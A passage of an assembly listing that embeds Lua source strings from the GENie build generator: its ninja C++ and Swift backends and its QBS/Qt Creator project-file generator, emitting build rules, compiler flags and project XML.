command_files[index]\ntable.insert(cmd_set, {\nbuildtask[1],\nbuildtask[2],\nbuildtask[3],\nseen_commands[cmd].name,\n})\ncommand_files[index] = cmd_set\ncommand_by_name[cmd_name] = cmd\nend\nend\nend\n_p(\"# custom build rules\")\nfor command, details in pairs(seen_commands) do\n_p(\"rule \" .. details.name)\n_p(1, \"command = \" .. wrap_ninja_cmd(command))\nend\nfor cmd_index, cmdsets in ipairs(command_files) do\nfor _, cmdset in ipairs(cmdsets) do\nlocal file_in = path.getrelative(cfg.location, cmdset[1])\nlocal file_out = path.getrelative(cfg.location, cmdset[2])\nlocal deps = ''\nfor i, dep in ipairs(cmdset[3]) do\ndeps = deps .. path.getrelative(cfg.location, dep) .. ' '\nend\n_p(\"build \" .. file_out .. ': ' .. cmdset[4] .. ' ' .. file_in .. ' | ' .. deps .. prebuildsuffix)\n_p(\"\")\nend\nend\nend\nfunction cpp.dependencyRules(prj, cfg)\nlocal extra_deps = {}\nlocal order_deps = {}\nlocal extra_flags = {}\nfor _, dependency in ipairs(prj.dependency or {}) do\nfor _, dep in ipairs(dependency or {}) do\nlocal objfilename = cpp.objectname(cfg, path.getrelative(prj.location, dep[1]))\nlocal dependency = path.getrelative(cfg.location, dep[2])\nif extra_deps[objfilename] == nil then\nextra_deps[objfilename] = {}\nend\ntable.insert(extra_deps[objfilename], dependency)\nend\nend\nlocal pchfilename = cfg.pchheader_full and cpp.pchname(cfg, cfg.pchheader_full) or ''\nfor _, file in ipairs(cfg.files) do\nlocal objfilename = file == cfg.pchheader and cpp.pchname(cfg, file) or cpp.objectname(cfg, file)\nif path.issourcefile(file) or file == cfg.pchheader then\nif #cfg.prebuildcommands > 0 then\nif order_deps[objfilename] == nil then\norder_deps[objfilename] = {}\nend\ntable.insert(order_deps[objfilename], '__prebuildcommands_' .. premake.esc(prj.name))\nend\nend\nif path.issourcefile(file) then\nif cfg.pchheader_full and not cfg.flags.NoPCH then\nlocal nopch = table.icontains(prj.nopch, file)\nif not nopch then\nlocal suffix = path.isobjcfile(file) and '_objc' or ''\nif extra_deps[objfilename] == nil then\nextra_deps[objfilename] = {}\nend\ntable.insert(extra_deps[objfilename], pchfilename .. suffix .. \".gch\")\nif extra_flags[objfilename] == nil then\nextra_flags[objfilename] = {}\nend\ntable.insert(extra_flags[objfilename], '-include ' .. pchfilename .. suffix)\nend\nend\nend\nend\ncfg.extra_deps = extra_deps\ncfg.order_deps = order_deps\ncfg.extra_flags = extra_flags\nend\nfunction cpp.objectname(cfg, file)\nreturn path.join(cfg.objectsdir, path.trimdots(path.removeext(file)) .. \".o\")\nend\nfunction cpp.pchname(cfg, file)\nreturn path.join(cfg.objectsdir, path.trimdots(file))\nend\nfunction cpp.file_rules(prj,cfg, flags)\n_p(\"# build files\")\nfor _, file in ipairs(cfg.files) do\n_p(\"# FILE: \" .. file)\nif cfg.pchheader_full == file then\nlocal pchfilename = cpp.pchname(cfg, file)\nlocal extra_deps = #cfg.extra_deps and '| ' .. table.concat(cfg.extra_deps[pchfilename] or {}, ' ') or ''\nlocal order_deps = #cfg.order_deps and '|| ' .. table.concat(cfg.order_deps[pchfilename] or {}, ' ') or ''\nlocal extra_flags = #cfg.extra_flags and ' ' .. table.concat(cfg.extra_flags[pchfilename] or {}, ' ') or ''\n_p(\"build \" .. pchfilename .. \".gch : cxx \" .. file .. extra_deps .. order_deps)\n_p(1, \"flags = \" .. flags['cxxflags'] .. extra_flags .. iif(prj.language == \"C\", \"-x c-header\", \"-x c++-header\"))\n_p(1, \"includes = \" .. flags.includes)\n_p(1, \"defines = \" .. flags.defines)\n_p(\"build \" .. pchfilename .. \"_objc.gch : cxx \" .. file .. extra_deps .. order_deps)\n_p(1, \"flags = \" .. flags['objcflags'] .. extra_flags .. iif(prj.language == \"C\", \"-x objective-c-header\", \"-x objective-c++-header\"))\n_p(1, \"includes = \" .. flags.includes)\n_p(1, \"defines = \" .. flags.defines)\nelseif path.issourcefile(file) then\nlocal objfilename = cpp.objectname(cfg, file)\nlocal extra_deps = #cfg.extra_deps and '| ' .. table.concat(cfg.extra_deps[objfilename] or {}, ' ') or ''\nlocal order_deps = #cfg.order_deps and '|| ' .. table.concat(cfg.order_deps[objfilename] or {}, ' ') or ''\nlocal extra_flags = #cfg.extra_flags and ' ' .. table.concat(cfg.extra_flags[objfilename] or {}, ' ') or ''\nlocal cflags = \"cflags\"\nif path.isobjcfile(file) then\n_p(\"build \" .. objfilename .. \": cxx \" .. file .. extra_deps .. order_deps)\ncflags = \"objcflags\"\nelseif path.isasmfile(file) then\n_p(\"build \" .. objfilename .. \": cc \" .. file .. extra_deps .. order_deps)\ncflags = \"asmflags\"\nelseif path.iscfile(file) and not cfg.options.ForceCPP then\n_p(\"build \" .. objfilename .. \": cc \" .. file .. extra_deps .. order_deps)\nelse\n_p(\"build \" .. objfilename .. \": cxx \" .. file .. extra_deps .. order_deps)\ncflags = \"cxxflags\"\nend\n_p(1, \"flags = \" .. flags[cflags] .. extra_flags)\n_p(1, \"includes = \" .. flags.includes)\n_p(1, \"defines = \" .. flags.defines)\nelseif path.isresourcefile(file) then\nend\nend\n_p(\"\")\nend\nfunction cpp.linker(prj, cfg, objfiles, tool)\nlocal all_ldflags = ninja.list(table.join(tool.getlibdirflags(cfg), tool.getldflags(cfg), cfg.linkoptions))\nlocal prebuildsuffix = #cfg.prebuildcommands > 0 and \"||__prebuildcommands\" or \"\"\nlocal libs = {}\nlocal walibs = {}\nlocal lddeps = {}\nif #cfg.wholearchive > 0 then\nfor _, linkcfg in ipairs(premake.getlinks(cfg, \"siblings\", \"object\")) do\nlocal linkpath = path.rebase(linkcfg.linktarget.fullpath, linkcfg.location, cfg.location)\ntable.insert(lddeps, linkpath)\nif table.icontains(cfg.wholearchive, linkcfg.project.name) then\ntable.insert(walibs, table.concat(tool.wholearchive(linkpath), ' '))\nelse\ntable.insert(libs, linkpath)\nend\nend\nelse\nlddeps = premake.getlinks(cfg, \"siblings\", \"fullpath\")\nlibs = lddeps\nend\nlddeps = ninja.list(lddeps)\nlibs = ninja.list(libs) .. \" \" .. ninja.list(tool.getlinkflags(cfg))\nwalibs = ninja.list(walibs)\nlocal function writevars()\n_p(1, \"all_ldflags = \" .. all_ldflags)\n_p(1, \"libs = \" .. libs)\n_p(1, \"walibs = \" .. walibs)\n_p(1, \"all_outputfiles = \" .. table.concat(objfiles, \" \"))\nif #cfg.prelinkcommands > 0 then\n_p(1, 'pre_link = echo Running pre-link commands && ' .. table.implode(cfg.prelinkcommands, \"\", \"\", \" && \") .. \" && \")\nend\nif #cfg.postbuildcommands > 0 then\n_p(1, 'post_build = && echo Running post-build commands && ' .. table.implode(cfg.postbuildcommands, \"\", \"\", \" && \"))\nend\nend\nif cfg.kind == \"StaticLib\" then\nlocal ar_flags = ninja.list(tool.getarchiveflags(cfg, cfg, false))\n_p(\"# link static lib\")\n_p(\"build \" .. cfg:getoutputfilename() .. \": ar \" .. table.concat(objfiles, \" \") .. \" | \" .. lddeps .. prebuildsuffix)\n_p(1, \"flags = \" .. ninja.list(tool.getarchiveflags(cfg, cfg, false)))\n_p(1, \"all_outputfiles = \" .. table.concat(objfiles, \" \"))\nelseif cfg.kind == \"SharedLib\" or cfg.kind == \"Bundle\" then\nlocal output = cfg:getoutputfilename()\n_p(\"# link shared lib\")\n_p(\"build \" .. output .. \": link \" .. table.concat(objfiles, \" \") .. \" | \" .. lddeps .. prebuildsuffix)\nwritevars()\nelseif (cfg.kind == \"ConsoleApp\") or (cfg.kind == \"WindowedApp\") then\n_p(\"# link executable\")\n_p(\"build \" .. cfg:getoutputfilename() .. \": link \" .. table.concat(objfiles, \" \") .. \" | \" .. lddeps .. prebuildsuffix)\nwritevars()\nelse\np.error(\"ninja action doesn't support this kind of target \" .. cfg.kind)\nend\nend\n"
L_.str.64: ## @.str.64
.asciz "local ninja = premake.ninja\nlocal swift = {}\nlocal p = premake\nfunction ninja.generate_swift(prj)\nlocal pxy = ninja.get_proxy(\"prj\", prj)\nlocal tool = premake.gettool(prj)\nlocal platforms = premake.filterplatforms(prj.solution, tool.platforms, \"Native\")\nfor _, platform in ipairs(platforms) do\nfor cfg in p.eachconfig(pxy, platform) do\np.generate(cfg, cfg:getprojectfilename(), function() swift.generate_config(prj, cfg) end)\nend\nend\nend\nfunction swift.generate_config(prj, cfg)\nlocal tool = premake.gettool(prj)\nlocal flags = {\nswiftcflags = ninja.list(tool.getswiftcflags(cfg)),\nswiftlinkflags = ninja.list(tool.getswiftlinkflags(cfg)),\n}\n_p(\"# Swift project build file\")\n_p(\"# generated with GENie ninja\")\n_p(\"\")\n_p(\"ninja_required_version = 1.7\")\n_p(\"\")\n_p(\"out_dir = %s\", cfg.buildtarget.directory)\n_p(\"obj_dir = %s\", path.join(cfg.objectsdir, prj.name .. \".build\"))\n_p(\"target = $out_dir/%s\", cfg.buildtarget.name)\n_p(\"module_name = %s\", prj.name)\n_p(\"module_maps = %s\", ninja.list(tool.getmodulemaps(cfg)))\n_p(\"swiftc_flags = %s\", flags.swiftcflags)\n_p(\"swiftlink_flags = %s\", flags.swiftlinkflags)\n_p(\"ar_flags = %s\", ninja.list(tool.getarchiveflags(cfg, cfg, false)))\n_p(\"ld_flags = %s\", ninja.list(tool.getldflags(cfg)))\nif cfg.flags.Symbols then\n_p(\"symbols = $target.dSYM\")\nsymbols_command = string.format(\"&& %s $target -o $symbols\", tool.dsymutil)\nelse\n_p(\"symbols = \")\nsymbols_command = \"\"\nend\nlocal sdk = tool.get_sdk_path(cfg)\nif sdk then\n_p(\"toolchain_path = %s\", tool.get_toolchain_path(cfg))\n_p(\"sdk_path = %s\", sdk)\n_p(\"platform_path = %s\", tool.get_sdk_platform_path(cfg))\n_p(\"sdk = -sdk $sdk_path\")\nelse\n_p(\"sdk_path =\")\n_p(\"sdk =\")\nend\n_p(\"\")\n_p(\"# core rules for %s\", cfg.name)\n_p(\"rule swiftc\")\n_p(1, \"command = %s -frontend -c $in -enable-objc-interop $sdk -I $out_dir $swiftc_flags -module-cache-path $out_dir/ModuleCache -D SWIFT_PACKAGE $module_maps -emit-module-doc-path $out_dir/$module_name.swiftdoc -module-name $module_name -emit-module-path $out_dir/$module_name.swiftmodule -num-threads 8 $obj_files\", tool.swift)\n_p(1, \"description = compile $out\")\n_p(\"\")\n_p(\"rule swiftlink\")\n_p(1, \"command = %s $sdk -L $out_dir -o $out $swiftlink_flags $ld_flags $in %s\", tool.swiftc, symbols_command)\n_p(1, \"description = create executable\")\n_p(\"\")\n_p(\"rule ar\")\n_p(1, \"command = %s cr $ar_flags $out $in %s\", tool.ar, (os.is(\"MacOSX\") and \" 2>&1 > /dev/null | sed -e '/.o) has no symbols$$/d'\" or \"\"))\n_p(1, \"description = ar $out\")\n_p(\"\")\nlocal objfiles = {}\nfor _, file in ipairs(cfg.files) do\nif path.isswiftfile(file) then\ntable.insert(objfiles, swift.objectname(cfg, file))\nend\nend\nswift.file_rules(cfg, objfiles)\n_p(\"\")\nswift.linker(prj, cfg, objfiles, tool)\nend\nfunction swift.objectname(cfg, file)\nreturn path.join(\"$obj_dir\", path.getname(file)..\".o\")\nend\nfunction swift.file_rules(cfg, objfiles)\n_p(\"build %s: swiftc %s\", ninja.list(objfiles), ninja.list(cfg.files))\n_p(1, \"obj_files = %s\", ninja.arglist(\"-o\", objfiles))\nend\nfunction swift.linker(prj, cfg, objfiles, tool)\nlocal lddeps = ninja.list(premake.getlinks(cfg, \"siblings\", \"fullpath\")) \nif cfg.kind == \"StaticLib\" then\n_p(\"build $target: ar %s | %s \", ninja.list(objfiles), lddeps)\nelse\nlocal lddeps = ninja.list(premake.getlinks(cfg, \"siblings\", \"fullpath\"))\n_p(\"build $target: swiftlink %s | %s\", ninja.list(objfiles), lddeps)\nend\nend\n"
L_.str.65: ## @.str.65
.asciz "local ninja = premake.ninja\nlocal swift = { }\nlocal p = premake\nfunction ninja.generate_swift_incremental(prj)\nlocal pxy = ninja.get_proxy(\"prj\", prj)\nlocal tool = premake.gettool(prj)\nlocal platforms = premake.filterplatforms(prj.solution, tool.platforms, \"Native\")\nfor _, platform in ipairs(platforms) do\nfor cfg in p.eachconfig(pxy, platform) do\np.generate(cfg, cfg:getprojectfilename(), function() swift.generate_config(prj, cfg) end)\nend\nend\nend\nfunction swift.generate_config(prj, cfg)\nlocal tool = premake.gettool(prj)\nlocal flags = {\nswiftcflags = ninja.list(table.join(tool.getswiftcflags(cfg), cfg.buildoptions_swiftc)),\n}\n_p(\"# Swift project build file\")\n_p(\"# generated with GENie ninja\")\n_p(\"\")\n_p(\"ninja_required_version = 1.7\")\n_p(\"\")\n_p(\"out_dir = %s\", cfg.buildtarget.directory)\n_p(\"obj_dir = %s\", path.join(cfg.objectsdir, prj.name .. \".build\"))\n_p(\"module_name = %s\", prj.name)\n_p(\"module_maps = %s\", ninja.list(tool.getmodulemaps(cfg)))\n_p(\"swiftc_flags = %s\", flags.swiftcflags)\n_p(\"swiftlink_flags = %s\", flags.swiftlinkflags)\n_p(\"ar_flags = %s\", ninja.list(tool.getarchiveflags(cfg, cfg, false)))\nlocal sdk = tool.get_sdk_path(cfg)\nif sdk then\n_p(\"toolchain_path = %s\", tool.get_toolchain_path(cfg))\n_p(\"sdk_path = %s\", sdk)\n_p(\"platform_path = %s\", tool.get_sdk_platform_path(cfg))\n_p(\"sdk = -sdk $sdk_path\")\n_p(\"ld_baseflags = -force_load $toolchain_path/usr/lib/arc/libarclite_macosx.a -L $out_dir -F $platform_path/Developer/Library/Frameworks -syslibroot $sdk_path -lobjc -lSystem -L $toolchain_path/usr/lib/swift/macosx -rpath $toolchain_path/usr/lib/swift/macosx -macosx_version_min 10.10.0 -no_objc_category_merging\")\nelse\n_p(\"sdk_path =\")\n_p(\"sdk =\")\n_p(\"ld_baseflags =\")\nend\n_p(\"\")\n_p(\"# core rules for %s\", cfg.name)\n_p(\"rule swiftc\")\n_p(1, \"command = %s -frontend -c -primary-file $in $files $target -enable-objc-interop $sdk -I $out_dir -enable-testing -module-cache-path $out_dir/ModuleCache -D SWIFT_PACKAGE $module_maps -emit-module-doc-path $out_doc_name swiftc_flags -module-name $module_name -emit-module-path $out_module_name -emit-dependencies-path $out.d -emit-reference-dependencies-path $obj_dir/$basename.swiftdeps -o $out\", tool.swiftc)\n_p(1, \"description = compile $out\")\n_p(\"\")\n_p(\"rule swiftm\")\n_p(1, \"command = %s -frontend -emit-module $in $parse_as_library swiftc_flags $target -enable-objc-interop $sdk -I $out_dir -F $platform_path/Developer/Library/Frameworks -enable-testing -module-cache-path $out_dir/ModuleCache -D SWIFT_PACKAGE $module_maps -emit-module-doc-path $out_dir/$module_name.swiftdoc -module-name $module_name -o $out\", tool.swift)\n_p(1, \"description = generate module\")\n_p(\"\")\n_p(\"rule swiftlink\")\n_p(1, \"command = %s $target $sdk $swiftlink_flags -L $out_dir -o $out_dir/$module_name -F $platform_path/Developer/Library/Frameworks $in\", tool.swiftc)\n_p(1, \"description = linking $target\")\n_p(\"\")\n_p(\"rule ar\")\n_p(1, \"command = %s cr $ar_flags $out $in $libs %s\", tool.ar, (os.is(\"MacOSX\") and \" 2>&1 > /dev/null | sed -e '/.o) has no symbols$$/d'\" or \"\"))\n_p(1, \"description = ar $out\")\n_p(\"\")\n_p(\"rule link\")\n_p(\" command = %s $in $ld_baseflags $all_ldflags $libs -o $out\", tool.ld)\n_p(\" description = link $out\")\n_p(\"\")\nswift.file_rules(cfg, flags)\nlocal objfiles = {}\nlocal modfiles = {}\nlocal docfiles = {}\nfor _, file in ipairs(cfg.files) do\nif path.issourcefile(file) then\ntable.insert(objfiles, swift.objectname(cfg, file))\ntable.insert(modfiles, swift.modulename(cfg, file))\ntable.insert(docfiles, swift.docname(cfg, file))\nend\nend\n_p(\"\")\nswift.linker(prj, cfg, {objfiles, modfiles, docfiles}, tool, flags)\n_p(\"\")\nend\nfunction swift.objectname(cfg, file)\nreturn path.join(\"$obj_dir\", path.getname(file)..\".o\")\nend\nfunction swift.modulename(cfg, file)\nreturn path.join(\"$obj_dir\", path.getname(file)..\".o.swiftmodule\")\nend\nfunction swift.docname(cfg, file)\nreturn path.join(\"$obj_dir\", path.getname(file)..\".o.swiftdoc\")\nend\nfunction swift.file_rules(cfg, flags)\n_p(\"# build files\")\nlocal sfiles = Set(cfg.files)\nfor _, file in ipairs(cfg.files) do\nif path.issourcefile(file) then\nif path.isswiftfile(file) then\nlocal objn = swift.objectname(cfg, file)\nlocal modn = swift.modulename(cfg, file)\nlocal docn = swift.docname(cfg, file)\n_p(\"build %s | %s %s: swiftc %s\", objn, modn, docn, file)\n_p(1, \"out_module_name = %s\", modn)\n_p(1, \"out_doc_name = %s\", docn)\n_p(1, \"files = \".. ninja.list(sfiles - {file}))\nbuild_flags = \"swiftcflags\"\nend\n_p(1, \"flags = \" .. flags[build_flags])\nelseif path.isresourcefile(file) then\nend\nend\n_p(\"\")\nend\nfunction swift.linker(prj, cfg, depfiles, tool)\nlocal all_ldflags = ninja.list(table.join(tool.getlibdirflags(cfg), tool.getldflags(cfg), cfg.linkoptions))\nlocal lddeps = ninja.list(premake.getlinks(cfg, \"siblings\", \"fullpath\")) \nlocal libs = lddeps .. \" \" .. ninja.list(tool.getlinkflags(cfg))\nlocal function writevars()\n_p(1, \"all_ldflags = \" .. all_ldflags)\n_p(1, \"libs = \" .. libs)\nend\nlocal objfiles, modfiles, docfiles = table.unpack(depfiles)\n_p(\"build $out_dir/$module_name.swiftmodule | $out_dir/$module_name.swiftdoc: swiftm %s | %s\", table.concat(modfiles, \" \"), table.concat(docfiles, \" \"))\n_p(\"\")\nlocal output = cfg:getoutputfilename()\nif cfg.kind == \"StaticLib\" then\nlocal ar_flags = ninja.list(tool.getarchiveflags(cfg, cfg, false))\n_p(\"build %s: ar %s | %s $out_dir/$module_name.swiftmodule $out_dir/$module_name.swiftdoc\", output, table.concat(objfiles, \" \"), lddeps)\n_p(1, \"flags = %s\", ninja.list(tool.getarchiveflags(cfg, cfg, false)))\nelseif cfg.kind == \"SharedLib\" then\n_p(\"build %s : swiftlink %s | %s $out_dir/$module_name.swiftmodule $out_dir/$module_name.swiftdoc\", output, table.concat(objfiles, \" \"), libs)\nwritevars()\nelseif (cfg.kind == \"ConsoleApp\") or (cfg.kind == \"WindowedApp\") then\n_p(\"build %s: swiftlink %s | %s $out_dir/$module_name.swiftmodule $out_dir/$module_name.swiftdoc\", output, table.concat(objfiles, \" \"), lddeps)\nelse\np.error(\"ninja action doesn't support this kind of target \" .. cfg.kind)\nend\nend\n"
L_.str.66: ## @.str.66
.asciz "premake.qbs = { }\nlocal qbs = premake.qbs\nnewaction\n{\ntrigger = \"qbs\",\nshortname = \"qbs\",\ndescription = \"Generate QBS build files\",\nmodule = \"qbs\",\nvalid_kinds = {\"ConsoleApp\", \"WindowedApp\", \"StaticLib\", \"SharedLib\", \"Bundle\"},\nvalid_languages = {\"C\", \"C++\"},\nvalid_tools = {\ncc = { \"gcc\", \"msc\" },\n},\nonsolution = function(sln)\nio.eol = \"\\n\"\nio.indent = \"\\t\"\nio.escaper(qbs.esc)\npremake.generate(sln, sln.name .. \".creator.qbs\", qbs.generate_solution)\nio.indent = \" \"\npremake.generate(sln, sln.name .. \".creator.qbs.user\", qbs.generate_user)\nend,\nonproject = function(prj)\nio.eol = \"\\n\"\nio.indent = \"\\t\"\nio.escaper(qbs.esc)\npremake.generate(prj, prj.name .. \".qbs\", qbs.generate_project)\nend,\n}\n"
L_.str.67: ## @.str.67
.asciz "function premake.qbs.list(indent, name, table)\nif #table > 0 then\n_p(indent, '%s: [', name)\nfor _, item in ipairs(table) do\n_p(indent+1, '\"%s\",', item:gsub('\"', '\\\\\"'))\nend\n_p(indent+1, ']')\nend\nend"
L_.str.68: ## @.str.68
.asciz "local qbs = premake.qbs\nfunction qbs.generate_solution(sln)\n_p('/*')\n_p(' * QBS project file autogenerated by GENie')\n_p(' * https://github.com/bkaradzic/GENie')\n_p(' */')\n_p('')\n_p('import qbs')\n_p('')\n_p(0, 'Project {')\n_p(1, 'references: [')\nfor prj in premake.solution.eachproject(sln) do\n_p(2, '\"' .. prj.name .. '.qbs\",')\nend\n_p(1, ']')\n_p(0, '}')\nend\nlocal function is_app(kind)\nif kind == \"ConsoleApp\" or kind == \"WindowedApp\" then\nreturn true\nend\nreturn false\nend\nfunction qbs.generate_user(sln)\n_p(0, '<?xml version=\"1.0\" encoding=\"UTF-8\"?>')\n_p(0, '<!DOCTYPE QtCreatorProject>')\n_p(0, '<!-- QBS project file autogenerated by GENie https://github.com/bkaradzic/GENie -->')\n_p(0, '<qtcreator>')\nlocal startProject = 0\nlocal idx = 0\nfor prj in premake.solution.eachproject(sln) do\nif is_app(prj.kind) then\nif sln.startproject == prj.name then\nstartProject = idx\nend\nidx = idx + 1\nend\nend\n_p(1, '<data>')\n_p(2, '<variable>ProjectExplorer.Project.Target.0</variable>')\n_p(2, '<valuemap type=\"QVariantMap\">')\n_p(3, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.DefaultDisplayName\">Desktop</value>')\n_p(3, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.DisplayName\">Desktop</value>')\nlocal qbsguid = \"\"\nlocal qbsprofile = \"\"\nlocal qtcreatordir = \"\"\nif _OS == \"windows\" then\nqtcreatordir = path.join(os.getenv(\"APPDATA\"), \"QtProject/qtcreator\")\nelse\nqtcreatordir = path.join(os.getenv(\"HOME\"), \".config/QtProject/qtcreator\")\nend\nlocal file = io.open(path.join(qtcreatordir, \"qbs.conf\"))\nif file == nil then\nfile = io.open(path.join(qtcreatordir, \"qbs/1.6.0/qbs.conf\"))\nend\nif file ~= nil then\nfor line in file:lines() do\nif line == \"[org]\" then\nlocal str = 'qt-project\\\\qbs\\\\preferences\\\\qtcreator\\\\kit\\\\%'\nlocal index = string.len(str)+1\nfor line in file:lines() do\nif index == string.find(line, '7B', index) then\nline = string.sub(line, index+2)\nqbsguid = string.sub(line, 1, 36)\nqbsprofile = string.sub(line, 41)\nbreak\nend\nend\nelse\nlocal str = '\\t<key>org.qt-project.qbs.preferences.qtcreator.kit.'\nlocal index = string.len(str)+1\nfor line in file:lines() do\nif qbsguid == \"\" and index == string.find(line, '{', index) then\nline = string.sub(line, index+1)\nqbsguid = string.sub(line, 1, 36)\nelseif qbsguid ~= \"\" then\nqbsprofile = string.sub(line, 10, 29)\nbreak\nend\nend\nend\nbreak\nend\nio.close(file)\nend\n_p(3, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.Id\">{%s}</value>', qbsguid)\n_p(3, '<value type=\"int\" key=\"ProjectExplorer.Target.ActiveBuildConfiguration\">0</value>')\n_p(3, '<value type=\"int\" key=\"ProjectExplorer.Target.ActiveDeployConfiguration\">0</value>')\n_p(3, '<value type=\"int\" key=\"ProjectExplorer.Target.ActiveRunConfiguration\">%d</value>', startProject)\nidx = 0\nfor _, cfgname in ipairs(sln.configurations) do\n_p(3, '<valuemap type=\"QVariantMap\" key=\"ProjectExplorer.Target.BuildConfiguration.%d\">', idx)\n_p(4, '<value type=\"QString\" key=\"ProjectExplorer.BuildConfiguration.BuildDirectory\">build</value>')\n_p(4, '<valuemap type=\"QVariantMap\" key=\"ProjectExplorer.BuildConfiguration.BuildStepList.0\">')\n_p(5, '<valuemap type=\"QVariantMap\" key=\"ProjectExplorer.BuildStepList.Step.0\">')\n_p(6, '<value type=\"bool\" key=\"ProjectExplorer.BuildStep.Enabled\">true</value>')\n_p(6, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.DefaultDisplayName\"></value>')\n_p(6, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.DisplayName\">Qbs Build</value>')\n_p(6, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.Id\">Qbs.BuildStep</value>')\n_p(6, '<value type=\"bool\" key=\"Qbs.CleanInstallRoot\">false</value>')\n_p(6, '<valuemap type=\"QVariantMap\" key=\"Qbs.Configuration\">')\n_p(7, '<value type=\"QString\" key=\"qbs.buildVariant\">%s</value>', cfgname:lower())\n_p(7, '<value type=\"QString\" key=\"qbs.profile\">%s</value>', qbsprofile)\n_p(6, '</valuemap>')\n_p(5, '</valuemap>')\n_p(5, '<value type=\"int\" key=\"ProjectExplorer.BuildStepList.StepsCount\">1</value>')\n_p(5, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.DefaultDisplayName\">Build</value>')\n_p(5, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.DisplayName\"></value>')\n_p(5, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.Id\">ProjectExplorer.BuildSteps.Build</value>')\n_p(4, '</valuemap>')\n_p(4, '<valuemap type=\"QVariantMap\" key=\"ProjectExplorer.BuildConfiguration.BuildStepList.1\">')\n_p(5, '<valuemap type=\"QVariantMap\" key=\"ProjectExplorer.BuildStepList.Step.0\">')\n_p(6, '<value type=\"bool\" key=\"ProjectExplorer.BuildStep.Enabled\">true</value>')\n_p(6, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.DefaultDisplayName\"></value>')\n_p(6, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.DisplayName\">Qbs Clean</value>')\n_p(6, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.Id\">Qbs.CleanStep</value>')\n_p(6, '<value type=\"bool\" key=\"Qbs.CleanAll\">true</value>')\n_p(6, '<value type=\"bool\" key=\"Qbs.DryKeepGoing\">false</value>')\n_p(6, '<value type=\"bool\" key=\"Qbs.DryRun\">false</value>')\n_p(5, '</valuemap>')\n_p(5, '<value type=\"int\" key=\"ProjectExplorer.BuildStepList.StepsCount\">1</value>')\n_p(5, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.DefaultDisplayName\">Clean</value>')\n_p(5, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.DisplayName\"></value>')\n_p(5, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.Id\">ProjectExplorer.BuildSteps.Clean</value>')\n_p(4, '</valuemap>')\n_p(4, '<value type=\"int\" key=\"ProjectExplorer.BuildConfiguration.BuildStepListCount\">2</value>')\n_p(4, '<value type=\"bool\" key=\"ProjectExplorer.BuildConfiguration.ClearSystemEnvironment\">false</value>')\n_p(4, '<valuelist type=\"QVariantList\" key=\"ProjectExplorer.BuildConfiguration.UserEnvironmentChanges\"/>')\n_p(4, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.DefaultDisplayName\">%s</value>', cfgname)\n_p(4, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.DisplayName\"></value>')\n_p(4, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.Id\">Qbs.QbsBuildConfiguration</value>')\n_p(3, '</valuemap>')\nidx = idx + 1\nend\n_p(3, '<value type=\"int\" key=\"ProjectExplorer.Target.BuildConfigurationCount\">%d</value>', idx)\n_p(3, '<valuemap type=\"QVariantMap\" key=\"ProjectExplorer.Target.DeployConfiguration.0\">')\n_p(4, '<valuemap type=\"QVariantMap\" key=\"ProjectExplorer.BuildConfiguration.BuildStepList.0\">')\n_p(5, '<value type=\"int\" key=\"ProjectExplorer.BuildStepList.StepsCount\">0</value>')\n_p(5, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.DefaultDisplayName\">Deploy</value>')\n_p(5, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.DisplayName\"></value>')\n_p(5, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.Id\">ProjectExplorer.BuildSteps.Deploy</value>')\n_p(4, '</valuemap>')\n_p(4, '<value type=\"int\" key=\"ProjectExplorer.BuildConfiguration.BuildStepListCount\">1</value>')\n_p(4, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.DefaultDisplayName\">Deploy locally</value>')\n_p(4, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.DisplayName\">Qbs Install</value>')\n_p(4, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.Id\">Qbs.Deploy</value>')\n_p(3, '</valuemap>')\n_p(3, '<value type=\"int\" key=\"ProjectExplorer.Target.DeployConfigurationCount\">1</value>')\nidx = 0\nfor prj in premake.solution.eachproject(sln) do\nif is_app(prj.kind) then\n_p(3, '<valuemap type=\"QVariantMap\" key=\"ProjectExplorer.Target.RunConfiguration.%d\">', idx)\nif idx == startProject then\n_p(4, '<value type=\"int\" key=\"PE.EnvironmentAspect.Base\">2</value>')\nelse\n_p(4, '<value type=\"int\" key=\"PE.EnvironmentAspect.Base\">-1</value>')\nend\n_p(4, '<valuelist type=\"QVariantList\" key=\"PE.EnvironmentAspect.Changes\"/>')\n_p(4, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.DefaultDisplayName\">%s</value>', prj.name)\n_p(4, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.DisplayName\"></value>')\n_p(4, '<value type=\"QString\" key=\"ProjectExplorer.ProjectConfiguration.Id\">Qbs.RunConfiguration:%s.%s---Qbs.RC.NameSeparator---%s</value>', prj.name, qbsprofile, prj.name)\n_p(4, '<value type=\"QString\" key=\"Qbs.RunConfiguration.CommandLineArguments\"></value>')\nlocal cfg = premake.getconfig(prj, nil, nil)\nif cfg.debugdir ~= nil then\n_p(4, '<value type=\"QString\" key=\"Qbs.RunConfiguration.WorkingDirectory\">%s</value>', cfg.debugdir)\nelse\n_p(4, '<value type=\"QString\" key=\"Qbs.RunConfiguration.WorkingDirectory\"></value>')\nend\n_p(3, '</valuemap>')\nidx = idx + 